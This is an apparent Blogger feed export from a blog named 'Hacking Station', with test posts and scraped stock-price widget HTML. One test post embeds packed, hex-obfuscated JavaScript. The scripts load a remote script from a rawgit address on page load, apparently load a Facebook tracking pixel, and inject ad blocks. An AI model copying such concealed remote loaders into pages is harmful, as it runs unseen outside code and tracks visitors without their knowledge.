tag:blogger.com,1999:blog-33843970658023976332024-02-29T10:15:51.925-08:00Hacking StationANKIT DALALhttp://www.blogger.com/profile/05457339890697420257noreply@blogger.comBlogger124125tag:blogger.com,1999:blog-3384397065802397633.post-34501176246047338942024-02-25T05:32:00.000-08:002024-02-29T10:15:19.006-08:00Test POst Title <div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/d/1AbNzyq05b5-yYiWe8KwfB3Z0vcMKe1Xp=s480" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="270" data-original-width="480" height="180" src="https://1.bp.blogspot.com/d/1AbNzyq05b5-yYiWe8KwfB3Z0vcMKe1Xp=s320" width="320" /></a></div><br /><div><br /></div><div><br /></div>This is a test Post Contnet<br /><br />
<script> //<![CDATA[
window.config = {
infinite_scroll:true, // `true` jika mau pakai, `false` jika tidak
auto: true // `true` jika auto load, `false` jika harus klik tombol dulu
}
console.log(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('A c=["\\G\\F\\H\\z\\q\\e\\b\\a\\e\\b\\y\\q\\d\\h\\a\\h","\\f\\k\\i\\g\\n\\b","\\k\\i\\a\\d\\b\\a\\u\\m\\a\\p\\a\\e\\b","\\b\\r\\n\\a","\\b\\a\\I\\b\\j\\x\\d\\v\\d\\f\\k\\i\\g\\n\\b","\\f\\i\\k","\\t\\b\\b\\n\\f\\E\\j\\j\\k\\h\\e\\s\\i\\d\\K\\l\\g\\b\\s\\k\\q\\p\\j\\g\\l\\e\\g\\a\\m\\j\\D\\m\\q\\l\\l\\a\\i\\j\\p\\d\\f\\b\\a\\i\\j\\g\\l\\m\\q\\j\\v\\B\\s\\x\\f","\\d\\f\\r\\e\\k","\\d\\n\\n\\a\\e\\h\\z\\t\\g\\m\\h","\\t\\a\\d\\h","\\l\\a\\b\\u\\m\\a\\p\\a\\e\\b\\f\\Q\\r\\N\\d\\l\\M\\d\\p\\a","\\d\\h\\h\\u\\v\\a\\e\\b\\y\\g\\f\\b\\a\\e\\a\\i"];w[c[J]](c[0],P(){A o=w[c[2]](c[1]);o[c[3]]=c[4];o[c[5]]=c[6];o[c[7]]=L;w[c[C]](c[9])[0][c[8]](o)},O)',53,53,'||||||||||x65|x74|_0x6c73|x61|x6E|x73|x69|x64|x72|x2F|x63|x67|x6C|x70|_0xf37dx1|x6D|x6F|x79|x2E|x68|x45|x76|document|x6A|x4C|x43|var|x32|10|x62|x3A|x4F|x44|x4D|x78|11|x77|true|x4E|x54|false|function|x42'.split('|'),0,{}));
console.log(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('S a=["\\f\\g\\k\\e\\j\\j","\\f\\g\\k\\e\\j\\j\\Q\\e\\m","\\l\\e\\g\\x\\p\\b\\d\\c\\v\\j\\b\\p\\b\\d\\c","\\o\\e\\l\\w","\\f\\g\\k\\n\\m\\c","\\J\\c\\c\\m\\f\\1j\\A\\A\\g\\e\\d\\d\\b\\g\\c\\t\\r\\h\\g\\b\\o\\e\\e\\N\\t\\d\\b\\c\\A\\b\\d\\R\\1i\\1g\\A\\r\\o\\b\\F\\b\\d\\c\\f\\t\\1e\\f","\\r\\o\\K","\\g\\h\\j\\j\\1f\\b\\c\\J\\e\\l","\\h\\m\\m\\j\\w","\\m\\x\\f\\J","\\K\\x\\b\\x\\b","\\R\\r\\o\\K","\\j\\e\\h\\l\\b\\l","\\F\\b\\k\\f\\n\\e\\d","\\D\\t\\E","\\g\\k\\b\\h\\c\\b\\v\\j\\b\\p\\b\\d\\c","\\h\\f\\w\\d\\g","\\f\\k\\g","\\B\\b\\c\\v\\j\\b\\p\\b\\d\\c\\f\\U\\w\\Q\\h\\B\\Y\\h\\p\\b","\\n\\d\\f\\b\\k\\c\\U\\b\\r\\e\\k\\b","\\m\\h\\k\\b\\d\\c\\Y\\e\\l\\b","\\n\\d\\n\\c","\\1h\\E\\X\\D\\G\\D\\O\\O\\E\\G\\1a\\1c\\G\\X\\1b\\1a","\\c\\k\\h\\g\\N","\\1t\\h\\B\\b\\1s\\n\\b\\1r","\\h\\l\\l\\v\\F\\b\\d\\c\\1k\\n\\f\\c\\b\\d\\b\\k"];S u=Z;P[a[1p]](a[0],y(){(0!=C[a[2]][a[1]]&&Z===u||0!=C[a[3]][a[1]]&&!1===u)&&(!y(){!y(q,H,I,L,i,s,z){W(q[a[6]]){1m};i=q[a[6]]=y(){i[a[7]]?i[a[7]][a[8]](i,V):i[a[10]][a[9]](V)};W(!q[a[11]]){q[a[11]]=i};i[a[9]]=i;i[a[12]]=!0;i[a[13]]=a[14];i[a[10]]=[];s=H[a[15]](I);s[a[16]]=!0;s[a[17]]=L;z=H[a[18]](I)[0];z[a[1l]][a[19]](s,z)}(P,C,a[4],a[5]);T(a[1o],a[1q]);T(a[1n],a[1d])}(),u=M)},M)',62,92,'||||||||||_0x9169|x65|x74|x6E|x6F|x73|x63|x61|_0x4917x6|x6C|x72|x64|x70|x69|x62|x6D|_0x4917x2|x66|_0x4917x7|x2E|defer|x45|x79|x75|function|_0x4917x8|x2F|x67|document|x32|x30|x76|x33|_0x4917x3|_0x4917x4|x68|x71|_0x4917x5|true|x6B|x37|window|x54|x5F|var|fbq|x42|arguments|if|x36|x4E|false|||||||||||x38|x39|x34|24|x6A|x4D|x53|x31|x55|x3A|x4C|20|return|23|21|25|22|x77|x56|x50'.split('|'),0,{}));
//]]> </script>
<script> //<![CDATA[
console.log(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('G a=["\\p\\k\\t\\g\\k\\b\\h\\I\\k\\f\\f\\h\\b\\C\\f\\n","\\J\\D\\b\\e\\v\\A\\b\\h\\b\\L\\d\\c\\e\\C\\h\\h","\\p\\m\\c\\n\\d\\s\\c\\D\\d\\b\\e","\\h\\b\\g\\t\\d\\M","\\p\\m\\c\\n\\d\\s\\r\\c\\f\\v\\u\\r\\e\\N\\u\\p\\m\\c\\n\\d\\s\\r\\c\\f\\v\\u\\m","\\g\\c\\f\\b\\z\\B\\K\\b","\\H","\\k\\g\\n\\b\\e\\d\\F\\b\\Q\\c\\e\\b","\\m\\B\\e\\b\\g\\d\\z\\c\\f\\b","\\g\\b\\O\\d\\A\\k\\r\\h\\k\\g\\t"];S E(){o q=x[a[1]](a[0]);y(q){o w=x[a[1]](a[2]);P(o j=0;j<w[a[3]];j++){o i=w[j][a[1]](a[4]),l=R(i[a[3]]/2);y(i[l][a[5]]==a[6]){i[l][a[8]][a[7]](q[j],i[l])}T{i[l][a[8]][a[7]](q[j],i[l][a[9]])}}}}E()',56,56,'||||||||||_0x4064|x65|x6F|x74|x72|x64|x6E|x6C|_0x1eeex5|_0x1eeex4|x69|_0x1eeex6|x70|x73|let|x2E|_0x1eeex2|x62|x2D|x67|x20|x79|_0x1eeex3|document|if|x4E|x53|x61|x41|x75|ignielMiddleAds|x42|var|x50|x4D|x71|x6D|x63|x68|x2C|x78|for|x66|parseInt|function|else'.split('|'),0,{}));
//]]> </script>Ankit Dalalhttp://www.blogger.com/profile/03764095608649565993noreply@blogger.com0tag:blogger.com,1999:blog-3384397065802397633.post-45899465170457860922023-12-21T08:22:00.001-08:002023-12-21T08:22:37.600-08:00Dynamic TitleDynamic content from a source like a Google Sheet.Ankit Dalalhttp://www.blogger.com/profile/03764095608649565993noreply@blogger.com0tag:blogger.com,1999:blog-3384397065802397633.post-51299509312568065422022-10-31T22:08:00.004-07:002022-10-31T22:11:21.258-07:00test price<div class="col s12" style="margin-top: 8px;"><div><div class="valign-wrapper vspace-between"><div class="lpu58LogoDiv absolute-center"><div class="lazyload-wrapper "><img class="lp58Logo" src="https://assets-netstorage.groww.in/stock-assets/logos/GSTK542830.png" width="40" height="40" alt="IRCTC" loading="lazy"></div></div><div style="display: inline-block;"><div class="lpu58IconDiv absolute-center"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" height="21" width="21" class="absolute-center"><path d="M0 0h24v24H0z" fill="none"></path><path d="M18 16.08c-.76 0-1.44.3-1.96.77L8.91 12.7c.05-.23.09-.46.09-.7s-.04-.47-.09-.7l7.05-4.11c.54.5 1.25.81 2.04.81 1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3c0 .24.04.47.09.7L8.04 9.81C7.5 9.31 6.79 9 6 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c.79 0 1.5-.31 2.04-.81l7.12 4.16c-.05.21-.08.43-.08.65 0 1.61 1.31 2.92 2.92 2.92 1.61 0 2.92-1.31 2.92-2.92s-1.31-2.92-2.92-2.92z"></path></svg></div></div><div class="rodal rodal-fade-leave rodal-background" tabindex="-1" style="display: none; animation-duration: 300ms;"><div class="rodal-mask"></div><div class="rodal-dialog rodal-slideUp-leave" style="width: 100%; height: fit-content; animation-duration: 300ms; display: block; background: var(--primaryBg); border-top-left-radius: 7px; border-top-right-radius: 7px; margin-bottom: 0px; padding: 0px;"><div class="child-wrapper popup-border"><div><div class="valign-wrapper clrText sp14PopupHeading"><div class="fs16 fw500">SHARE</div></div><div class="valign-wrapper row sp14IconsParentDiv"><div id="sp14" class="rip100ParentWrapper col s3 valign-wrapper sp14ShareIconDiv"><svg viewBox="0 0 38 38" fill="none" xmlns="http://www.w3.org/2000/svg" height="45" width="45" class="sp14Image"><path d="M18.7 36.4c9.775 0 17.7-7.925 17.7-17.7C36.4 8.925 28.475 1 18.7 1 8.925 1 1 8.925 1 18.7c0 9.775 7.925 17.7 17.7 17.7z" fill="#80868B" fill-opacity="0.1"></path><path d="M18.7 36.9c10.052 0 18.2-8.148 18.2-18.2S28.752.5 18.7.5.5 8.648.5 18.7s8.148 18.2 18.2 18.2z" stroke="#80868B" stroke-opacity="0.2"></path><path d="M22.053 10h-9.474c-.872 0-1.579.732-1.579 1.636v11.455h1.579V11.636h9.474V10zm2.368 3.273h-8.684c-.873 0-1.58.732-1.58 1.636v11.455c0 .904.707 1.636 1.58 1.636h8.684c.872 0 1.579-.732 1.579-1.636V14.909c0-.904-.707-1.636-1.579-1.636zm0 13.09h-8.684V14.91h8.684v11.455z" fill="#80868B"></path></svg><div class="fs14 sp14iconName">copy</div><span class="rip100StaticStyle" style="opacity: 0; transform: translate(-50%, -50%);"></span></div><div id="sp14" class="rip100ParentWrapper col s3 valign-wrapper sp14ShareIconDiv"><svg xmlns="http://www.w3.org/2000/svg" viewBox="126.444 2.281 589 589" height="45" width="45" class="sp14Image"><circle cx="420.944" cy="296.781" r="294.5" fill="#2daae1"></circle><path d="M609.773 179.634c-13.891 6.164-28.811 10.331-44.498 12.204 16.01-9.587 28.275-24.779 34.066-42.86a154.78 154.78 0 01-49.209 18.801c-14.125-15.056-34.267-24.456-56.551-24.456-42.773 0-77.462 34.675-77.462 77.473 0 6.064.683 11.98 1.996 17.66-64.389-3.236-121.474-34.079-159.684-80.945-6.672 11.446-10.491 24.754-10.491 38.953 0 26.875 13.679 50.587 34.464 64.477a77.122 77.122 0 01-35.097-9.686v.979c0 37.54 26.701 68.842 62.145 75.961-6.511 1.784-13.344 2.716-20.413 2.716-4.998 0-9.847-.473-14.584-1.364 9.859 30.769 38.471 53.166 72.363 53.799-26.515 20.785-59.925 33.175-96.212 33.175-6.25 0-12.427-.373-18.491-1.104 34.291 21.988 75.006 34.824 118.759 34.824 142.496 0 220.428-118.052 220.428-220.428 0-3.361-.074-6.697-.236-10.021a157.855 157.855 0 0038.707-40.158z" fill="#fff"></path></svg><div class="fs14 sp14iconName">twitter</div><span class="rip100StaticStyle" style="opacity: 0; transform: translate(-50%, -50%);"></span></div><div id="sp14" class="rip100ParentWrapper col s3 valign-wrapper sp14ShareIconDiv"><svg viewBox="0 0 38 38" fill="none" xmlns="http://www.w3.org/2000/svg" height="45" width="45" class="sp14Image"><path d="M18.7 36.4c9.775 0 17.7-7.925 17.7-17.7C36.4 8.925 28.475 1 18.7 1 8.925 1 1 8.925 1 18.7c0 9.775 7.925 17.7 17.7 17.7z" fill="#1569BF" fill-opacity="0.1"></path><path d="M18.7 36.9c10.052 0 18.2-8.148 18.2-18.2S28.752.5 18.7.5.5 8.648.5 18.7s8.148 18.2 18.2 18.2z" stroke="#1569BF" stroke-opacity="0.2"></path><path d="M9.967 14.728h3.74v12.155h-3.74V14.728zm1.87-6.011a2.11 2.11 0 012.138 2.137 2.11 2.11 0 01-2.138 2.137c-1.202.134-2.137-.935-2.137-2.137a2.11 2.11 0 012.137-2.137zM16.112 14.728h3.606v1.603c.668-.935 1.87-1.87 3.74-1.87 3.874 0 4.542 2.538 4.542 5.743v6.68h-3.74v-5.878c0-1.47 0-3.206-2.004-3.206-2.003 0-2.27 1.47-2.27 3.072v6.011h-3.874V14.728z" fill="#1569BF"></path></svg><div class="fs14 sp14iconName">linkedin</div><span class="rip100StaticStyle" style="opacity: 0; transform: translate(-50%, -50%);"></span></div><div id="sp14" class="rip100ParentWrapper col s3 valign-wrapper sp14ShareIconDiv"><svg viewBox="0 0 38 38" fill="none" xmlns="http://www.w3.org/2000/svg" height="45" width="45" class="sp14Image"><path d="M18.7 36.4c9.775 0 17.7-7.925 17.7-17.7C36.4 8.925 28.475 1 18.7 1 8.925 1 1 8.925 1 18.7c0 9.775 7.925 17.7 17.7 17.7z" fill="#337FFF" fill-opacity="0.1"></path><path d="M18.7 36.9c10.052 0 18.2-8.148 18.2-18.2S28.752.5 18.7.5.5 8.648.5 18.7s8.148 18.2 18.2 18.2z" stroke="#337FFF" stroke-opacity="0.2"></path><path d="M23.276 20.283l.58-3.965h-3.547v-2.565c0-1.089.507-2.177 2.099-2.177H24V8.233S22.553 8 21.105 8c-2.895 0-4.848 1.866-4.848 5.364v3.032H13v3.964h3.257V30h4.052v-9.717h2.967z" fill="#337FFF"></path></svg><div class="fs14 sp14iconName">facebook</div><span class="rip100StaticStyle" style="opacity: 0; transform: translate(-50%, -50%);"></span></div><div id="sp14" class="rip100ParentWrapper col s3 valign-wrapper sp14ShareIconDiv"><svg viewBox="0 0 38 38" fill="none" xmlns="http://www.w3.org/2000/svg" height="45" width="45" class="sp14Image"><path d="M18.7 36.4c9.775 0 17.7-7.925 17.7-17.7C36.4 8.925 28.475 1 18.7 1 8.925 1 1 8.925 1 18.7c0 9.775 7.925 17.7 17.7 17.7z" fill="#35A6DE" fill-opacity="0.1"></path><path d="M18.7 36.9c10.052 0 18.2-8.148 18.2-18.2S28.752.5 18.7.5.5 8.648.5 18.7s8.148 18.2 18.2 18.2z" stroke="#35A6DE" stroke-opacity="0.2"></path><path d="M26.991 12.17c-.05.716-.46 3.22-.868 5.932l-1.28 8.026s-.102 1.176-.97 1.382c-.868.205-2.3-.716-2.555-.922-.206-.152-3.834-2.455-5.163-3.579-.358-.308-.765-.92.05-1.637 1.839-1.686 4.04-3.784 5.368-5.113.613-.613 1.226-2.045-1.329-.308l-7.21 4.858s-.82.51-2.354.05a107.87 107.87 0 01-3.323-1.074s-1.226-.766.868-1.584l11.917-4.908c1.172-.51 5.162-2.147 5.162-2.147s1.84-.716 1.687 1.024z" fill="#35A6DE"></path></svg><div class="fs14 sp14iconName">telegram</div><span class="rip100StaticStyle" style="opacity: 0; transform: translate(-50%, -50%);"></span></div><div id="sp14" class="rip100ParentWrapper col s3 valign-wrapper sp14ShareIconDiv"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 64 64" height="45" width="45" class="sp14Image"><circle cx="32" cy="32" r="31" fill="#30bf39"></circle><path d="M41.4 34.8c-.4-.2-2.5-1.4-2.9-1.5-.4-.2-.7-.2-1 .2-.3.4-1.2 1.4-1.4 1.6-.3.3-.5.3-.9.1-.4-.2-1.8-.7-3.4-2.3-1.2-1.2-2.1-2.6-2.3-3.1-.2-.4 0-.7.2-.9.2-.2.4-.5.7-.7s.3-.4.5-.7c.2-.3.1-.5 0-.8s-.9-2.4-1.2-3.3c-.3-.9-.7-.7-.9-.8-.3 0-.5-.1-.8-.1-.4 0-.9.2-1.2.5-.4.4-1.6 1.4-1.6 3.5s1.4 4.3 1.6 4.5c.2.3 2.8 4.9 7.1 6.8 4.3 1.9 4.3 1.3 5.1 1.3.8 0 2.6-1 3-1.9.4-1 .4-1.9.3-2-.2 0-.5-.1-.9-.4zm-8 10.3c-2.8 0-5.4-.8-7.7-2.3l-5.4 1.7 1.8-5.2c-1.7-2.4-2.7-5.3-2.7-8.3 0-7.8 6.3-14.1 14.1-14.1s14 6.3 14 14.1-6.3 14.1-14.1 14.1zm0-31c-9.3 0-16.9 7.6-16.9 16.9 0 3.1.8 6.1 2.4 8.7l-3.1 9.1 9.4-3c2.5 1.4 5.3 2.1 8.2 2.1 9.3 0 16.9-7.6 16.9-16.9s-7.5-16.9-16.9-16.9z" fill="#fff"></path></svg><div class="fs14 sp14iconName">whatsapp</div><span class="rip100StaticStyle" style="opacity: 0; transform: translate(-50%, -50%);"></span></div></div></div></div></div></div><div class="sb10Toastify sb10ToastifyInfo sb10ToastifyPositionBottom"><div class="valign-wrapper vspace-between"><div>URL Copied To Clipboard</div></div></div></div><div class="valign-wrapper lpu58HeadlineWrpr"><h1 class="lpu58DispName" title="Indian Railway Catering & Tourism Corporation">Indian Railway Catering & Tourism Corporation</h1></div><div><div class="lpu58Pri lpu58PriceMain"><span>₹</span><span style="height: 23px;"><span class="lpu58Pri" style="overflow: hidden; display: inline-block; position: relative;"><span class="lpu58Pri" style="visibility: hidden;">7</span><span style="transition: transform 0.5s ease 0s; position: absolute; inset: 0px; transform: translateY(-161px);"><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 0px;">0</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 23px;">1</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 46px;">2</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 69px;">3</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 92px;">4</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 115px;">5</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 138px;">6</span><span class="lpu58Pri lpu58CurrentTickerRed" style="position: absolute; left: 0px; z-index: 10; top: 161px;">7</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 184px;">8</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 207px;">9</span></span></span><span class="lpu58Pri" style="overflow: hidden; display: inline-block; position: relative;"><span class="lpu58Pri" style="visibility: hidden;">4</span><span style="transition: transform 0.5s ease 0s; position: absolute; inset: 0px; transform: translateY(-92px);"><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 0px;">0</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 23px;">1</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 46px;">2</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 69px;">3</span><span class="lpu58Pri lpu58CurrentTickerRed" style="position: absolute; left: 0px; z-index: 10; top: 92px;">4</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 115px;">5</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 138px;">6</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 161px;">7</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 184px;">8</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 207px;">9</span></span></span><span class="lpu58Pri" style="overflow: hidden; display: inline-block; position: relative;"><span class="lpu58Pri" style="visibility: hidden;">0</span><span style="transition: transform 0.5s ease 0s; position: absolute; inset: 0px; transform: translateY(0px);"><span class="lpu58Pri lpu58CurrentTickerRed" style="position: absolute; left: 0px; z-index: 10; top: 0px;">0</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 23px;">1</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 46px;">2</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 69px;">3</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 92px;">4</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 115px;">5</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 138px;">6</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 161px;">7</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 184px;">8</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 207px;">9</span></span></span><span class="lpu58Pri" style="overflow: hidden; display: inline-block; position: relative;">.</span><span class="lpu58Pri" style="overflow: hidden; display: inline-block; position: relative;"><span class="lpu58Pri" style="visibility: hidden;">5</span><span style="transition: transform 0.5s ease 0s; position: absolute; inset: 0px; transform: translateY(-115px);"><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 0px;">0</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 23px;">1</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 46px;">2</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 69px;">3</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 92px;">4</span><span class="lpu58Pri lpu58CurrentTickerRed" style="position: absolute; left: 0px; z-index: 10; top: 115px;">5</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 138px;">6</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 161px;">7</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 184px;">8</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 207px;">9</span></span></span><span class="lpu58Pri" style="overflow: hidden; display: inline-block; position: relative;"><span class="lpu58Pri" style="visibility: hidden;">0</span><span style="transition: transform 0.5s ease 0s; position: absolute; inset: 0px; transform: translateY(0px);"><span class="lpu58Pri lpu58CurrentTickerRed" style="position: absolute; left: 0px; z-index: 10; top: 0px;">0</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 23px;">1</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 46px;">2</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 69px;">3</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 92px;">4</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 115px;">5</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 138px;">6</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 161px;">7</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 184px;">8</span><span class="lpu58Pri hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 207px;">9</span></span></span></span></div><div class="valign-wrapper vspace-between"><div class="lpu58Day growwRed"><span style="height: 19px;"><span class="" style="overflow: hidden; display: inline-block; position: relative;">-</span><span class="" style="overflow: hidden; display: inline-block; position: relative;"><span class="" style="visibility: hidden;">0</span><span style="transition: transform 0.5s ease 0s; position: absolute; inset: 0px; transform: translateY(0px);"><span class=" currentTicker" style="position: absolute; left: 0px; z-index: 10; top: 0px;">0</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 19px;">1</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 38px;">2</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 57px;">3</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 76px;">4</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 95px;">5</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 114px;">6</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 133px;">7</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 152px;">8</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 171px;">9</span></span></span><span class="" style="overflow: hidden; display: inline-block; position: relative;">.</span><span class="" style="overflow: hidden; display: inline-block; position: relative;"><span class="" style="visibility: hidden;">7</span><span style="transition: transform 0.5s ease 0s; position: absolute; inset: 0px; transform: translateY(-133px);"><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 0px;">0</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 19px;">1</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 38px;">2</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 57px;">3</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 76px;">4</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 95px;">5</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 114px;">6</span><span class=" currentTicker" style="position: absolute; left: 0px; z-index: 10; top: 133px;">7</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 152px;">8</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 171px;">9</span></span></span><span class="" style="overflow: hidden; display: inline-block; position: relative;"><span class="" style="visibility: hidden;">0</span><span style="transition: transform 0.5s ease 0s; position: absolute; inset: 0px; transform: translateY(0px);"><span class=" currentTicker" style="position: absolute; left: 0px; z-index: 10; top: 0px;">0</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 19px;">1</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 38px;">2</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 57px;">3</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 76px;">4</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 95px;">5</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 114px;">6</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 133px;">7</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 152px;">8</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 171px;">9</span></span></span></span>(<span style="height: 19px;"><span class="" style="overflow: hidden; display: inline-block; position: relative;"><span class="" style="visibility: hidden;">0</span><span style="transition: transform 0.5s ease 0s; position: absolute; inset: 0px; transform: translateY(0px);"><span class=" currentTicker" style="position: absolute; left: 0px; z-index: 10; top: 0px;">0</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 19px;">1</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 38px;">2</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 57px;">3</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 76px;">4</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 95px;">5</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 114px;">6</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 133px;">7</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 152px;">8</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 171px;">9</span></span></span><span class="" style="overflow: hidden; display: inline-block; position: relative;">.</span><span class="" style="overflow: hidden; display: inline-block; position: relative;"><span class="" style="visibility: hidden;">0</span><span style="transition: transform 0.5s ease 0s; position: absolute; inset: 0px; transform: translateY(0px);"><span class=" currentTicker" style="position: absolute; left: 0px; z-index: 10; top: 0px;">0</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 19px;">1</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 38px;">2</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 57px;">3</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 76px;">4</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 95px;">5</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 114px;">6</span><span class=" 